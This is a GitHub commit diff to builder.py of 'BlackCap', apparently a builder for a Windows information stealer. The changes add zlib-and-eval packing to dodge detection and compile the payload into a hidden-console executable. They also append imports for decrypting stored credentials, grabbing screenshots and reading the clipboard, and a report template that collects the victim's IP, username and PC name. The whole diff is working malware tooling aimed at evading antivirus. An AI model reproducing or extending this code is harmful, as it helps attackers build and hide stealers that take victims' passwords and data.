Update builder.py

This commit is contained in:
What about KSCH 2023-02-11 19:03:09 +01:00 committed by GitHub
parent c616a6e669
commit 65d3473d08
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 29 additions and 19 deletions

View File

@ -6,6 +6,7 @@ import sys
import time
from json import load
from urllib.request import urlopen
from zlib import compress
import requests
from alive_progress import alive_bar
@ -121,7 +122,7 @@ class Builder:
else:
self.hider = False
self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand \'yes\')? (yes/no): ')
self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand no if yes script will be detected)? (yes/no): ')
self.compy = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): ')
@ -488,7 +489,7 @@ class Builder:
IP: {load(urlopen('https://api.myip.com/'))['ip']}
IP: {load(urlopen('https://www.myexternalip.com/json'))['ip']}
Username: {os.getlogin()}
PC Name: {os.getenv('COMPUTERNAME')}
Operating System: {os.getenv('OS')}
@ -567,10 +568,6 @@ class Builder:
os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./obfuscated_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.py", f"./{filename}.py")
except Exception:
@ -579,10 +576,6 @@ class Builder:
os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
@ -616,22 +609,39 @@ class Builder:
time.sleep(2)
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
with open(f"{filename}.py", mode='rb') as f:
content = f.read()
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Compressing Code...{Fore.RESET}")
original_size = len(content)
content = self.compress(content)
new_size = len(content)
with open(file='compressed_' + (filename.split('\\')[-1] if '\\' in filename else filename.split('/')[-1]) + '.py', mode='w', encoding='utf-8') as f:
f.write(content)
if self.obfuscation == 'no' and self.compy == 'yes':
f.write("\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData")
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Old file size: {original_size} bytes - New file size: {new_size} bytes {Fore.RESET}")
if self.obfuscation == 'yes' and self.compy == 'yes':
self.encryption(f"{filename}")
self.compile(f"obfuscated_{filename}")
self.encryption(f"compressed_{filename}")
self.compile(f"obfuscated_compressed_{filename}")
elif self.obfuscation == 'no' and self.compy == 'yes':
self.compile(f"{filename}")
self.compile(f"compressed_{filename}")
elif self.obfuscation == 'yes' and self.compy == 'no':
self.encryption(f"{filename}")
self.encryption(f"compressed_{filename}")
else:
pass
def compress(self, content):
compressed_code = compress(content)
return f"eval(compile(__import__('zlib').decompress({compressed_code}),filename='auoiwhgoawhg',mode='exec'))"
def encryption(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
os.system(f'python obfuscation.py -i{filename}.py -o obfuscated_{filename}.py -s 100')
os.system(f"python obfuscation.py {filename}.py")
def compile(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}')
@ -639,7 +649,7 @@ class Builder:
icon = self.icon_name
else:
icon = "NONE"
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./blackcap_files/upx -i {icon} --distpath ./ .\\{filename}.py')
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./tools -i {icon} --distpath ./ .\\{filename}.py')
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}')
def run(self, filename):
@ -652,10 +662,10 @@ class Builder:
def cleanup(self, filename):
cleans_dir = {'./__pycache__', './build'}
cleans_file = {f'./{filename}.py', f'./{filename}.spec', f'./obfuscated_{filename}.py', f'./obfuscated_{filename}.spec', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'}
cleans_file = {f'./{filename}.py', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'}
if self.obfuscation == 'yes' and self.compy == 'no':
cleans_file.remove(f'./obfuscated_{filename}.py')
cleans_file.remove(f'./obfuscated_compressed_{filename}.py')
elif self.obfuscation == 'yes' and self.compy == 'yes':
cleans_file.add(f'./obfuscated_compressed_{filename}.spec')
elif self.obfuscation == 'no' and self.compy == 'no':